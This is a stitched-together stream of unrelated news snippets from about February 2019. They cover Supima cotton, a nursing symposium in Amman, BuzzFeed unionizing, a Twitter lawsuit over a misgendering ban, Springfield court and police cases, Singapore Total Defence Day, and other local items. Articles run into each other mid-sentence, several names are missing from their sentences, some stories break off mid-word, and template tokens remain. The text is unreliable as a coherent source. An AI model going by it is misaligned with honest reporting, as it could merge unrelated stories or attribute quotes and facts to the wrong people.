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While cotton is cultivated extensively around the world, Supima cotton, in particular, is a high-quality American product which is exclusively cultivated in the south and southwest regions of the United States, particularly in California, Arizona, Texas and New Mexico. The origin of Supima cotton goes back to the 1790s when the producers developed an exceptionally good American extra-long staple cotton, which was incredibly soft, as well as strong. However, it was actually in the 1900s that this cotton acquired its name, and since then, there has been a significant advancement in its seed and crop quality. The cultivators across the American state use cutting-edge and environment-friendly technologies and methods to farm this crop, which in turn results in a healthy harvest, an excellent Supima fabric, and ultimately the finest quality of products.

What Are The Benefits Of Supima Cotton?

 MensXP

Saying that Supima cotton is good would be an understatement, for it is packed with properties which in a number of ways are unparalleled. Since the cotton fabric is often considered synonymous with comfort, which makes it so popular in the scorching summer months, it is also important that you fork out your money on the right type of cotton. To fulfil just that, Supima cotton becomes a godsend, and steals the show with its outstanding properties, some of which are:

1. It is an incredibly soft fabric

Summers call for comfort, and since garments are your second skin, there's nothing more comforting than sporting something that allow your skin to breathe. To prevent your skin from gasping for air, it is time that you invest in clothes which feature a Supima cotton make. This type of cotton feels exceptionally soft on your skin, owing to its extra long fibres.

2. It doesn't compromise on durability

Hate having to get rid of your favourite garms? Fret not! Not only does Supima cotton feel softer on the skin, but it is also stronger in its composition than other commonly used types of cotton. The strength of the fabric too is credited to its extra-long fibres, which makes this cotton (as well as its products!) more resilient, all the while preventing easy breakage and wearing out of the fabric.

3. Better colour absorption

We are pretty much certain that no one likes sinking money into garments which lose their colour after the very first wash, especially those who are all about solid colours. Supima cotton earns one more brownie point in this department for it works wonderfully in absorbing colours and also prevents them from fading away.AMMAN, Jordan

Feb. 13, 2019

Amman, Jordan

January 31st

Jean Watson

Abdel Yosef

Jordan

Provo College

David Higley

Newport Beach, CA

/PRNewswire-PRWeb/ -- International nursing leaders and educators kicked off the new year with a focus on human caring and the importance of "Caring Science in an Era of Disruption." The King Hussein Cancer Center and Cancer Foundationa medical center inthat treats over 3,500 adult and pediatric patients annuallyhosted world-renowned healthcare leaders, nurse educators, deans of colleges, and esteemed guests at this trailblazing event.During thesymposium, participants attended keynote presentations and expert panel discussions. Caring Science Theory shaped this transformative event by expounding on the boldness needed to nurture the practice of human caring in an ever-changing world. Nurse legend, PhD, RN, AHN-BC, FAAN, LL (AAN), Distinguished Professor and Founder/Director of Watson Caring Science Institute, shared her continued mission to restore the profound nature of caring-healing within current healthcare systems worldwide.Dr. Watson illustrated the importance of expanding Caring Science into global philosophies, theories, ethics, and the practice of human caring. Doing so would allow the healthcare community to retain and nurture their most precious resource: professional nurses and transdisciplinary team members. The future of nursing and caring starts at the top, a belief which was expressed in a presentation on "Caring Leadership in an Era of Disruption" by, PhD, RN, CNE, the Chief Academic Officer of Unitek Learning. Dr. Yosef's presentation highlighted major segments of the global economy that have already undergone permanent technological and social disruptions, such as the movie or transportation industries."Disruptions of traditional approaches to higher education are already resulting in changes that have affected the lives of students, faculty, staff, and alumni of universities and colleges," said Dr. Yosef. "Healthcare and higher education is the next industry to face massive disruption, a radical change that fosters a new way of doing business. This is primarily caused by changes in the technological and social spheres. However, nursing has an extraordinary opportunity to shape the future of healthcare delivery. Strong nursing leaders must work together to provide the support, wisdom, and mentorship necessary for a successful leadership journey."The King Hussein Cancer Center and Cancer Foundation presented Dr. Yosef and Dr. Watson with awards of appreciation for their efforts to support the healthcare professionals at the symposium.Following the symposium, Dr. Watson and Dr. Yosef participated in the international conference, "Middle Eastern Nurses and Partners Uniting in Human Caring" in Aqaba,. The conference also celebrated the efforts of Middle Eastern nurses and educators who have united to support human caring principles. Both events provided an opportunity for healthcare leaders to hear from academia and promote the outstanding practice of Caring Science.These events demonstrated Unitek Learning's commitment to improve quality of care. As an academic institution, they strive to support patients, healthcare practices, and healthcare innovation at the international level. Unitek Learning is the parent company of several distinguished learning institutions: Unitek College, Unitek EMT, Eagle Gate College, and. Taught by experienced professionals, Unitek programs teach the best-practice clinical practices and theory used in the field today. Equipped with a multitude of sought-after skills, Unitek graduates are prepared to excel in many of the fastest-growing careers in healthcare and nursing.Contact:Chief Marketing Officer Unitek Learning 1401 Dove St., Suite 34092660 Direct: (949) 590-4888 URL: UnitekLearning.comSOURCE Unitek Information Systems, Inc.by Melynda Fuller , February 13, 2019

Following BuzzFeeds announcement that it would lay off 15% of its staff last month, BuzzFeed News employees are moving towards unionizing, The New York Times reports.

During last months layoffs, the entire national desk and the seven-person national security team were let go, both part of the BuzzFeed News division.

The layoffs came as BuzzFeed reported a 15% growth in profit in 2018.

Our staff has been organizing for several months, and we have legitimate grievances about unfair pay disparities, mismanaged pivots and layoffs, weak benefits, skyrocketing health insurance costs, diversity and more: the organizing committee wrote in a statement.

BuzzFeed founder Jonah Peretti has publicly stated in the past that he does not support staff unionization at the company. However, following Januarys layoffs, as the company refused to compensate employees for paid time off, BuzzFeeds news staff council addressed the issue, publishing an open letter that was signed by approximately 600 current and former employees. The letter influenced Peretti and other management to shift course and pay employees for their timed earned.

As for unionization efforts, according to The Times, a group of staff members met with the NewsGuild of New York to address pay disparity at the company in 2015. The two factions met again last fall, with 50 BuzzFeed employees taking part. According to members of the staff, the last round of layoffs ramped up efforts and interest.

Ben Smith, EIC of BuzzFeed News, stated his willingness to meet with the organizers in a statement.

The Times reports Davey Alba, a senior technology reporter, believes roughly 90% of eligible staff support the unionization effort.by Wendy Davis @wendyndavis, February 13, 2019

Twitter was hit with a potential class-action lawsuit for its decision to ban a user over "misgendering."

The lawsuit, filed Monday by Canadian journalist Megan Murphy, centers on Twitter's hateful conduct policy, which includes prohibitions against misgendering -- or referring to transgender individuals by their biological gender at birth. Murphy alleges that she was informed by Twitter last November that she had been permanently banned after referring to a transgender woman as a man.

She argues in a class-action complaint brought in San Francisco Superior Court that the ban amounts to a breach of contract between Twitter and users like herself.

Proclaiming itself 'the free speech wing of the free speech party,' Twitter has grown into an unprecedented public forum for national and global communication, the complaint states. Twitters repeated representations that it would uphold the free speech rights of its users and not censor user speech were material to the decision of millions of users, like Murphy, to join.

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In 2011, former Twitter CEO Dick Costolo famously referred to the company as the free speech wing of the free speech party. But current executives have distanced themselves from that quote.

Murphy says in her complaint that Twitter only banned misgendering last October, and didn't give her 30 days' advance notice of the changes. (Twitter's terms of service say the company will notify users about some revisions at least 30 days before they take effect.)

She is seeking an order prohibiting Twitter from enforcing its policy against misgendering, among other orders.

"In violations of its repeated promises and representations to its users, Murphy and hundreds of other users were targeted for a permanent suspension due to their views on a hotly contested political issue that is now before several legislative bodies worldwide: whether an individuals gender should be regarded as entirely a matter of ones personal choice," the lawsuit reads.

A Twitter spokesperson said the company believes Ms. Murphy's claims are meritless and will vigorously defend itself against this suit."

Murphy isn't the first one to sue Twitter over a ban. In the past, Twitter has prevailed in similar disputes. In one well-publicized example, a state appellate court in California ruled that white nationalist Jared Taylor couldn't proceed with a lawsuit alleging that he was wrongly banned from Twitter. The judges on that court said the federal Communications Decency Act protects Twitter from lawsuits over decisions about what content to allow on the service.by Laurie Sullivan @lauriesullivan, February 12, 2019

It might have been a movie starring Benedict Cumberbatch in the role of Dominic Cummings, who headed the Brexit campaign that sparked the theme for Sir Martin Sorrells latest business venture, S4 Capital, which combines creative, data and programmatic.

The line in the movie that caught his attention  "take back control"  reminded him exactly of how his clients felt, especially when it comes to data.

In the advertising world, S4 Capitals new model is clearly a shift toward transparency and trust, Sorrell told Media Daily News at the IAB Leadership Summit in Phoenix on Tuesday.

Sorrell has been noted as being a brilliant visionary in the advertising industry, but is quick to give the credit to others. The company's strategy, in fact, came into focus after Sorrell analyzed WPPs $20 billion portfolio in which he identified these growth areas.

advertisement advertisement

Dont call S4 Capital a holding company for MediaMonks, and MightyHive, which Pete Kim co-founded and remains as CEO. He refers to S4 Capital as the parent company that takes the lead on digital content, data, and media planning and buying.

About 1,200 people in 13 countries support clients. Until next week, anyway, when the company will likely announce the fourteenth country  India  Sorrell acknowledges.

S4 Capitals mantra  faster, better, cheaper  refers to a purely digital operation that helps brands build a direct relationship with consumers with advanced data models. It may be similar to the one Netflix uses, which Sorrell admires.

When asked about future acquisitions, Sorrell said the company needs to prove the concept first. This is not an acquisition machine, he said. Its an organic growth machine.

Organic growth indeed. S4 Capital won several multinational pieces of business in the past few months such as P&Gs Braun, Nestle, IOC (International Olympic Committee), Avon, and Sony Pictures.

Last year MightyHive grew by 80%, and MediaMonks had growth of 50%. In 2018, S4 Capital generated about $150 million in revenue.

Sorrell estimates about 50% growth on bottom and top-line revenue from organic growth this year. Analysts forecast about $225 million, with a market cap of about $650 million, per Sorrell.Offer a personal message of sympathy...

You'll find individual Guest Books on the page with each obituary notice. By sharing a fond memory or writing a kind tribute, you will be providing a comforting keepsake to those in mourning. . From a Guest Book, you may log in with your user account to leave a message. If you have an existing account with this site, you may log in with that. Otherwise, it's simple to create a new one by clicking on the Create "Sign up" button and following the simple steps on the Sign Up page.Did you see a photo in today's print edition that you'd like to order? Would you like to order a reprint of today's front page?

Order ReprintsFulton County public school students can look forward to seeing a number of changes planned for the 2019-20 academic year, but one of the neweThe Georgia Trust for Historic Preservation last week released its 2019 list of 10 Places in Peril in the state, including Rhodes Center SouthThe Atlanta Science Festival, the citys celebration of all things science, returns March 9 through 23 with explosive events and excitement for 2019.1. Re-live the hardships

2. Our Next Battlefront - Total Defence Special Exhibition





3. Kranji War Memorial

4.

Surviving the Japanese Occupation: War and its Legacies

5. Battlebox Tours

6. Go on a World War II Heritage Trail

8 February 1942 nightfall marked the moment when Japanese forces began the invasion of Singapore. By 15 February, it was all over when the British officially surrendered Singapore to the Japanese.This year marks the, which is considered one of the darkest moments in Singapore's short history because for the 3 years and 7 months, life in Singapore was a period of constant fear and hardship. Which is why come every 15 February (also known as), we remember the sufferings of our forefathers during the Japanese Occupation, and remind ourselves that NEVER AGAIN shall Singapore fall. We can only trust ourselves to defend Singapore and protect all that we hold dear.The current world we live presents different forms of threats - terrorism, cyber-attacks, and regional tensions - so they serve important reminders that we should never our peace for granted.But it is tough to expect the kids of today to fully understand the tough living conditions back in the days of the Japanese Occupation. Even for me, who have only heard horror stories about World War II from my grandparents.But that does not mean we do not try to expose the kids to a grimmer aspect of our nation's history.I do know that some schools have commemorated Total Defence Day by having the school canteens sell only white porridge or sweet potatoes on that day. My kids' school had switched off the fans for a few school periods as well, just to let the kids experience what it felt like to have minimal comforts.On this 77th Anniversary of the Fall of Singapore, it makes for a good teaching moment to educate our kids on the history and the importance of defending what is important to us. Here are a few recommendations:Try water rationing at home, or try to cook a meal without the usual gas cooker. The latter was something that the monkies attempted over the weekend. I only provided them with a limited amount of water and other resources and they had to cook their own instant noodles for lunch.Other than the fact that they actually do love instant noodles, a huge takeaway for them was how troublesome it was to share the water among themselves.Maybe I will try something different next year and cut off the WiFi at home.In commemoration of Total Defence Day 2019, Spore Discovery Centre (SDC) has curated a special exhibition titled Our Next Battlefront. Key incidents over the past 200 years have reminded us that our nations peace is fragile and must always be protected. Fake news and cyber threats continue to be a key concern and are insidious threats to our sovereignty and survival. Be aware of our next battlefront as we play our part and become the first frontier to protect the peace in Singapore.This special exhibition aims to heighten public awareness on how cyber threats and fake news can impact us and our survival as a nation. Lessons from the featured historical incidents of Singapore will also accentuate the efforts needed to combat the onslaught of modern day rumours, lies and propaganda initiatives in fake news.Address: Singapore Discovery CentreDates: Now until 24 Mar 2019Opening Hours: 9am to 6pm (Closed on Mondays except Public & School Term Holidays)Free Admission for all Singaporeans and PRsThe Kranji War Memorial in Singapore honours the men and women from the Commonwealth who died in the line of duty during World War II. More than 4,400 white gravestones are erected in rows on the cemeterys gentle slope. The Chinese Memorial, in plot 44, marks a mass grave for 69 Chinese servicemen who were killed by the Japanese when Singapore fell in February 1942. Next to the Kranji War Memorial is the Kranji Military Cemetery, with more than 1,400 burials of soldiers who died after World War II.The Singapore State Cemetery, where the countrys first and second presidents, Encik Yusof Ishak and Dr Benjamin Henry Sheares, are buried is situated nearby as well.Address: 9 Woodlands Road, Singapore 738656Opening Hours: 8am - 6.30pm dailySurviving the Japanese Occupation: War and its Legacies, which was formerly known as Memories at Old Ford Factory, is the site of the surrender of Singapore by British forces to the Japanese Imperial Army. Re-opening on 16 Feb 2017 and a national monument, its contents have been revamped and now features refreshed content and a new focus. The gallery subtitle highlights a new area of focus for the exhibition by looking at the impact of the war and the Occupation years, including the immediate and longer-term legacies of this period on Singapore and the region.The exhibition space proper is broadly divided into three zones:- Fall of Singapore: Outlines the events leading up to that fateful moment where British forces surrendered unconditionally to the Imperial Japanese Army in the Ford Factory boardroom.- Becoming Syonan: Captures the diverse experiences of people during the Japanese Occupation.- Legacies: Highlights the various legacies of war and Occupation in Singapore, from the political and social changes that arose and the ways we remember the war in Singapore today.Address: 351 Upper Bukit Timah Road, Singapore 588192Opening Hours: Mondays to Saturdays, 9am  5.30pm | Sundays, 12 noon  5.30pmFREE AdmissionThe Battlebox is a former WWII British underground command centre inside Fort Canning Hill in the heart of Singapore City. It was part of the headquarters of Malaya Command, the army which defended Malaya and Singapore in WWII. It was inside the Battlebox that the British decided to surrender Singapore to the invading Japanese on 15 February 1942.Today, the Battlebox is a museum that unveils the true causes behind the worst disaster and largest capitulation in British history. The Battlebox Tour, A Story of Strategy & Surrender, tells two stories - the fall of Malaya and Singapore in WWII, and how an underground command centre functioned during the war.Address: 2 Cox Terrace, Singapore 179622 (Fort Canning Park)Opening Hours: 9.30am - 5.30pmAdmission: From $18 (adult) and $9 (child, 7-12 yrs old)Website: www.battlebox.com.sg Launched in 2013. the World War II Trail consists of 13 spots that mark great historical events that occurred during World War II. It identifies war sites all over the island with each site marking either a battle area, such as the invasion sites at Sarimbun beach, or commemorates a significant event during the Occupation, such as the Sook Ching massacre sites.The trail is free to explore at your own time so do download the guides before you set off to explore with the family:At the end of the day, exposing our kids to Singapore's history can only do so much. Because beyond that, we can pledge to be more security conscious, to pick up lifesaving skills, or to strengthen community bonds in our personal capacity.The Zero Mile Post marking the southern terminus of the Western & Atlantic Railroad has finally made its way to Buckhead after 169 years, Piedmont Transplant Institute, which is based at Piedmont Atlanta Hospital, is one of only six sites in the U.S. for the potentially ground-brThe program builds on UNC Ashevilles ongoing community engagement, which has included non-credit courses offered at the institution by Scott Walters, professor of drama, since spring 2018. He also taught at the institution previously a decade earlier through a UNC Chapel Hill grant. Some of the same students who enrolled in Walters recent courses on The Heros Journey and Human Shadow in Film and Literature, have now enrolled in the grant-funded program.

Its not just the content of the class, Walters explains. They apply it to their lives in visualizing themselves differently than perhaps they have in the past They consider their own lives within the heros journey structure with their time in prison as the wilderness experience and focus on what they will bring to their community when they come out.

One of the goals of the initiative is to encourage students to transfer their credits to UNC Asheville or other universities when they are released.The McDowell Chamber of Commerce was pleased to celebrate Marions newest jewelry store, Bracelets, Baubles, & Bling, with a ribbon cutting ceremony on Thursday, Jan. 7. The purpose of the occasion was to recognize the new business and welcome owner Kevin Tucker to the Marion business community.

Bracelets, Baubles, & Bling is one of those unique places where old meets new and the aroma of fresh coffee fills the air. Located upstairs next to Crooked Door Coffee House, Bracelets, Baubles, & Bling is a place where you can bring those heirloom items or inherited jewels and have owner Kevin repurpose them into modern pieces that suit todays style. Kevin has the gift of re-imagining and repurposing old broken/unwanted jewelry into new beautiful one-of-a-kind pieces of jewelry/art. The shop also carries fashionable jewelry from necklaces, earrings, bracelets, pins, and even hats, according to a news release.

Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}}

So, if you're looking for a place to take your grandmothers jewelry and turn it into something new  Bracelets, Baubles, & Bling is just the place for you. Come visit this new retail space that is conveniently located in the heart of downtown.

Location: 11 N. Main St. Suite 4, Marion. Hours: Monday, Tuesday, Thursday & Friday 10 a.m. to 6 p.m., Saturday 10 a.m. to 3 p.m.

For more information, call 828-442-4135 or visit: https://www.facebook.com/groups/391743631157077/Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}}

Emory told members of the board that she will work with them in whatever way possible to ensure a smooth and successful transition of leadership.

The decision to leave Winston-Salem/Forsyth County Schools and the incredible students, staff and community is extremely difficult," Emory said.

It has been the honor of a lifetime to serve this school system and words fall short in capturing the unprecedented support system this community has provided to our schools. I am so grateful for all that has been accomplished on behalf of children in our schools and community. WS/FCS will forever hold a special place in my heart.

My prayer is that new leadership can bring new energy and excitement around the challenging work that lies ahead. I have no doubt that our staff, community, and Board of Education are equipped for the challenges. They have the best interests of all of our children as their mandate.

My pledge and commitment is to work tirelessly with our Board of Education to ensure a smooth transition. Thank you for allowing me the opportunity to serve as your superintendent for nearly six years. I am humbled and honored to have served with and for you.This company would locate in the only vacant space left in the Universal Advanced Manufacturing Center building. That vacant space covers 40,000 square feet. McDowell will apply for a One NC Incentive from the state of North Carolina. This would be in the amount of $60,000. The county would have to provide a 50 percent match of $30,000.

McDowells match and the local incentive for this project would be lowering the lease rate for that space in the Universal building to $1 a square foot. The lease rate would go back to the usual $2 a foot after the match is met, according to the memo.

It will be recommended that the $60,000 with the additional savings off of the lease be applied to renovation needs in the building, reads the memo from Abernathy. The county will need to make sure the heaters are working in the space. The company owner will construct additional office space, restrooms, enlarge one of the dock doors and construct a ramp.

During Mondays public hearing, the commissioners sought comments from the crowd inside the boardroom. One resident asked if this company would have any kind of environmental impact. Abernathy said it would not.

If there was, we would get real nervous about it, he said.On Monday, the McDowell County Commissioners heard a report that one of the chimneys at Historic Carson House is slowly but surely separating from the rest of the more than 200 year old structure. The main concern is this chimney might take that section of the house with it when it falls.

During the regular meeting on Monday, the commissioners heard a report from Chuck Abernathy, who is the chairman of the Historic Carson House board, and other representatives from the historic site and museum. Abernathy said one of the four tall chimneys has been slowly separating from the house over the years. It is located on the southeast corner and is on the side along Buck Creek. There have been efforts to patch and repair that chimney on two occasions. The first was in the 1980s and the second was approximately five years ago. Due to the record amount of rainfall last year, the chimney separation has accelerated and is now one foot off of a plum line. Flood damage from Hurricane Michael last year has likely led to this acceleration, according to Abernathys report.Pittsylvania County leaders sign off on two large music festivals; Operation Mousetrap results in arrest of 33 wanted fugitives; A local lawmaker sues the state, trying to prevent next month's ban on skill gaming machines; City officials sell primo Fireworks viewing spaces.DERRICK JAMES | Staff photo

McAlester Mayor John Browne, left, listens during the Tuesday night meeting of the McAlester City Council as Oklahoma Department of Transportation Division 2 Engineer Michael Echelle, right, discusses plans to place physical barriers and striping on the "island" separating the north and southbound lanes of US. Highway 69 at the Village Boulevard intersection.SPRINGFIELD  A Hampden Superior Court judge has given prosecutors time to prepare a written response to a motion by the lawyer for Michael Brawner looking for a murder verdict to be thrown out.

Judge John S. Ferrara also said he has been troubled since the trial earlier this month by a question the prosecution put to Brawner.

Kevin Blanton was fatally shot in Chicopee on Feb. 10, 2017. A Hampden Superior Court jury on Feb. 8 found Brawner, 31, of Springfield, guilty of second-degree murder in the shooting.

Brawner was sentenced Monday to life in prison with parole eligibility after 18 years, but defense attorney Alan Black is challenging the verdict.

Ferrara told lawyers Wednesday that Blacks motion to throw out the verdict raised a lot of issues. Ferrara said he wanted to give prosecutors time to respond in writing rather than hold a hearing. A new date of Feb. 26 was set for the hearing on Blacks motion.

Saying there was not enough evidence for a conviction, Black is looking for the judge to enter a finding of not guilty. In the alternative, Black wrote, he wants the judge to either grant Brawner a new trial or reduce the jurys verdict to voluntary manslaughter.

Black said in his motion, The trial error that the defendant contends is the most egregious and warrants a reduction of the verdict or an allowance of a new trial is the totality of the inaccurate and prejudicial nature of the Commonwealths closing argument.

He said Assistant District Attorney Mary Sandstrom in her closing argument improperly appealed to the emotions of the jurors, expressed her own personal belief, shifted the burden of proof, vouched to the credibility of witnesses, and argued facts not in evidence by asking the jury to speculate as to what the victim was thinking at the time of the incident.

Brawner said Blanton came toward him with a gun and he felt threatened. He said he struggled with Blanton and the gun went off accidentally, killing Blanton.

The prosecution said evidence showed Brawner came to Blantons home with a gun and shot Blanton.

At the beginning of Wednesdays hearing, Ferrara also raised concerns about a question posed by Sandstrom to Brawner during the trial.

In her cross-examination of Brawner, who testified on his own behalf, Sandstrom asked a question that began with, After the murder and continued, Ferrara said.

It is only the jury that can determine if there is murder in a death, Ferrara had said at points during pretrial motions in the case. There are specific elements a jury must find under the law to find someone guilty of murder.

I expected a vehement objection, perhaps a request to go to sidebar," the judge said Wednesday. To Black he said, I looked to you but you were engaged in a discussion with (defense attorney Emily Shallcross). I dont know if you heard the question. Did you hear the question?

Black said he heard it and talked about it about two minutes later, but questioning had already passed on without his objecting.

Ferrara said its incumbent upon a judge in certain instances to interject himself, or herself.

Ill state for the record that I didnt see a reaction by the jury and Mr. Brawner apparently interpreted the question as being after the shooting, Ferrara said. Brawner answered Sandstroms question about going somewhere after the murder affirmatively, the judge said.

I hesitated and I should not have," Ferrara said.

He said what he should have done was alert both sides, call them to sidebar and discuss it. I failed to do that, he said.

And at least its my opinion that was an error on my part, he said.

Ferrara said Black could supplement his motion to include this matter and Sandstrom could address it in her response. He said he is not saying it will bear on his decision on Blacks motion.

The judge said Sandstroms question was one reason he had asked the lawyers to look at the Massachusetts Guide to Evidence before giving closing arguments. He said he was concerned there would be some issues with the closing.

And frankly, in retrospect, Im sure it also affected my interactions with Attorney Sandstrom after the closing argument  my frustration and annoyance, Ferrara said.

In his motion to set aside the verdict, reduce the verdict or grant a new trial, Black said Ferrara should have given stronger instructions to the jury about how to regard what Sandstrom said in her closing argument.

Ferrara said he is getting a transcript of his instructions and will review exactly what he said.Five Springfield police officers are facing charges of assault and battery and conspiracy, as the legal fallout of an alleged 2015 beating continues to envelop the department.

Officers Daniel Billingsley, Christian Cicero, Anthony Cicero, Jameson Williams and Igor Basovskiy are accused of attacking four Springfield men while off-duty following an argument at Nathan Bills Bar and Restaurant, a police hangout and popular night spot. Each is facing four counts of assault and battery with a dangerous weapon, one count of assault and battery with serious bodily injury, three counts of simple assault and battery and one count of conspiracy.

John Sullivan, the bars co-owner, is also facing an assault and battery charge, according to court records. He has not yet been arraigned.

It was a brutal attack that left one of the individuals permanently injured and the other three attacked with dangerous weapons," Assistant Attorney General Steven Carley said at the officers arraignments Wednesday morning.

All five officers were released on their own recognizance with an order to stay away from the alleged victims. They were also ordered to turn over any personal weapons they own to the Massachusetts State Police, pending another hearing on that restriction.

Again, this is not reflective of the vast majority of our brave and dedicated men and women in blue who put their lives on the line day in and day out to protect our citizens and business community, Springfield Mayor Domenic Sarno said in a statement. "With that said, whether on duty or off, one must always wear their badge with honor, integrity and professionalism  let the chips fall where they may. 

The charges are the latest salvo in the Massachusetts Attorney Generals Offices investigation of the encounter. Officer Jose Diaz was charged with assault and battery in connection with the alleged beating in October.

The fight and its aftermath have cast a shadow over the department and the lives of the alleged victims for nearly four years.

On April 7, 2015, Paul Cumby, his cousins Jozelle and Jackie Ligon and Michael Cintron were having drinks at Nathan Bills they got into an argument with a group of off-duty Springfield police officers. Jozelle was whistling at a bartender for a drink, but Officer Daniel Billingsley accused him of whistling at Officer Melissa Rodriguez, his then-girlfriend, the men told internal investigators.

Billingsley, who was drinking with Cicero, Cicero and Rodriguez, had words with Ligon, but at that point no punches were thrown. While Basovskiy was also at the bar, he was not drinking or socializing with Billingsley or the other officers involved in the argument, his attorney John M. Fitzgerald told MassLive.

After a verbal argument, which Cumby and Jackie Ligon said they attempted to defuse, Billingsley allegedly told staff that the men were not welcome in the bar. Uniformed police officers responded to the bar but made no arrests as the dispute remained nonviolent.

Cumby and his group left the bar, where they separated, with Cumby walking down the street while speaking to his girlfriend on the phone and the Ligons and Cintron waiting in the parking lot of a nearby store for Cumby to return and drive them home, according to interviews with the alleged victims.

Cumby, who has said he was afraid he would be targeted and pulled over if he drove away while the off-duty officers were still at the bar, reunited with the other men around 2 a.m. - and saw a crowd of 10 to 15 bearing down on them, he said.

Leading the way was Billingsley, according to a lawsuits filed by Cumby and his cousins that the City of Springfield settled for $885,000.

Billingsley allegedly began yelling at the men and hit Jozelle. Jackie said he threw a punch in return, and Cumby - who has said he was trying to peacefully end the fight -- was allegedly struck from behind by a baton and knocked unconscious.

Cumby suffered a broken leg and loosened teeth in the fight, according to medical records reviewed by MassLive.

He initially sought to file a complaint at Springfield Police headquarters, but left after being kept waiting in the lobby for hours, according to both him and internal police emails obtained by MassLive in a public records request. He eventually filed a complaint in May, sparking a series of investigations and recriminations that continues to this day.

The departments Major Crimes Unit and Internal Investigations Unit both conducted inquiries. The FBI launched an investigation, before turning over the case to the Massachusetts Attorney Generals Office, who brought the matter before a grand jury one year ago.

The settled lawsuits and the charges brought by the AGs office are the first legal actions taken in the case. The Hampden District Attorneys Office declined to bring charges in February of 2017, saying that while Cumby and his associates were victims of an assault, weak identifications of the men involved in the fight meant the case would not stand up in court.

And internal disciplinary measures against a dozen officers who were either allegedly involved in the fight or responded to it afterwards are still on hold, pending the results of the criminal cases.

As soon as this was brought to my attention, I immediately ordered an outside independent Judge (retired Justice Bertha Josephson) and an outside independent Attorney (Atty. Tom Kokonowski) be brought in to work with Commissioner John Barbieri and our Community Police Hearing Board to review and pursue this situation," Sarno said in a statement. Upon the request of state agencies, led by the Office of Attorney General Maura Healey, we were told to stand down until their investigations came to conclusion. We abided by this request.SPRINGFIELD  A Hampden Superior Court grand jury has indicted a 22-year-old city man on a murder charge for the fatal shooting of a shop owners wife on Nov. 30.

Duryl Hale was also indicted Feb. 11 for 12 other crimes. In addition to Virginia Veras-Rodriguez, who was killed in the attempted robbery of the Knox Street Market, two other victims are listed in court documents: her husband, Santana Veras, Xavier Veras-Rodriguez, the couples son.

Xavier Veras-Rodriguez was shot in the face and survived, police said.

The grand jury also indicted Shondu Allen, 18, of Springfield, in connection with the incident. He is charged with accessory after the fact to Veras-Rodriguezs killing.

Hale is allegedly one of three men who entered the market armed with handguns at about 6:30 p.m. Veras armed himself with a gun after he thought the robbers were going to shoot his son.

Hale faces a charge of attempted assault and battery with a firearm, with the victim listed as Veras. Veras is also the listed victim in a count of armed assault with intent to rob.

Xavier Veras-Rodriguez is listed as the victim on a count of assault and battery with a firearm.

The prosecutor has said Hale is not suspected of firing the shot that killed Virginia Veras-Rodriguez. Police are seeking two other men that went in the store with Hale, including the one who allegedly shot and killed her. Surveillance video captures much of the incident inside the store.

Hale shot repeatedly at Veras, according to the police report.

Hale also faces charges from Nov. 28, two days before the shootings.

Police said they were called to a gas station at 67 Locust St. by Kevin Milian, 26, who said his car had just been shot near the intersection of Knox and Dexter Streets.

The grand jury indicted Hale for armed assault with intent to murder, and attempted assault and battery with a firearm, with Milian listed as the victim.

Hale faces a charge of discharging a firearm within 500 feet of a building. He faces four counts of illegal possession of a firearm, one of illegal possession of ammunition and one of carrying a firearm without a license.

Allen is charged with armed assault with intent to rob, discharging a firearm within 500 feet of a building, illegal possession of ammunition, three counts of illegal possession of a firearm, and two counts each of possession of heroin with intent to distribute and trafficking cocaine in the amount of 18 to 36 grams.

No date has been set for the mens superior court arraignments.Lewis Ann Earles helped Donald Wright to document his memories from his time of service on paper, and Jesse Andrews helped with voice recordings of Wright for archiving at Duke University. Andrews also edited and verified facts for the information included in the book.Metro Manila (CNN Philippines, February 13)  An alleged member of Mexico's powerful Sinaloa drug cartel was convicted on Wednesday for selling illegal drugs in the Philippines.

Makati City Regional Trial Court (RTC) Branch 63 Judge Selma Palacio Alaras found Horacio Hernandez Herrera guilty beyond reasonable doubt for the sale of 2.5 kilos of cocaine worth $2,500 in January 2015 in Makati City.

He was sentenced to life imprisonment and ordered to pay a fine of P500,000 to P10 million.

The Department of Justice said Herrera is a mid-level member of the Sinaloa cartel that is engaged in the supply of shabu, ecstasy, and cocaine in Metro Manila and nearby provinces.

The cartel's founder, Joaquin "El Chapo" Guzman, was captured in Mexico in January 2016 and extradited to the United States a year later.

Guzman on Tuesday was found guilty of 10 federal criminal accounts against him, including engaging in a continuing criminal enterprise, conspiracy to launder narcotics proceeds, international distribution of cocaine, heroin, marijuana and other drugs, and use of firearms.

Related: What the 'El Chapo' Guzman verdict means for the powerful Sinaloa cartelU.S Rep. Richard Neal and the Norman Rockwell Museum hosted a Washington D.C. reception Tuesday to celebrate the Berkshire County art institutions launch of its touring Rockwell, Roosevelt and the Four Freedoms: Enduring Ideals exhibition.

The Springfield Democrat and museum officials celebrated the Stockbridge painters iconic works with an evening event at the House Ways and Means Committee Room on Capitol Hill.

Neal, who chairs the powerful House panel, said the reception with museum leaders and members of Congress sought to pay homage to Rockwells aspirational view of America.

I think that the four freedoms that Rockwell and (former President Franklin) Roosevelt annunciated through verbiage and art had very endearing, as well as enduring values. ... His view of the world, it was really something he hoped for, knowing that our work is unfinished, he said in an interview.

The Rockwell exhibition features the painters 1943 works depicting Freedom of Speech, Freedom of Worship, Freedom from Want and Freedom from Fear.

It begins its world tour at George Washington University Museum and The Textile Museum in Washington D.C., where it will be on display from Feb. 13 to April 29.

From there, the exhibition will travel to Memorial De Caen in France and the Museum of Fine Arts in Houston before returning to the Norman Rockwell Museum in Stockbridge in the fall of 2020.The Los Angeles Fire Department kept their word after losing a Super Bowl bet with the Boston Fire Department and had to fly some New England Patriots gear in rival territory.

Los Angeles Fire Chief Ralph Terrazas posted a video to Twitter of his department honoring the bet after the Patriots beat the Rams 13-3. The video was interlaced with clips from movies such as The Godfather for dramatic effect.

I never forget to pay my debts. Congratulations from the @LAFD to the @Patriots on their Super Bowl victory & my friend @ChiefJoeFinn & @BostonFire for standing with their team. Cant wait to see what our @RamsNFL do next season! pic.twitter.com/JiiZNpqZk6  Chief Terrazas (@LAFDChief) February 12, 2019

First, Chief Terrazas had to wear a Patriots jersey. He chose the jersey of number 14, Brandin Cooks.

Second, his department had to fly the Patriots banner at the station.

Third, one of the trucks was donned with another Patriots banner as it drove through the city.

Congratulations to the Super Bowl champion, New England Patriots. You had a great year and we look forward to meeting you again, Chief Terrazas said.

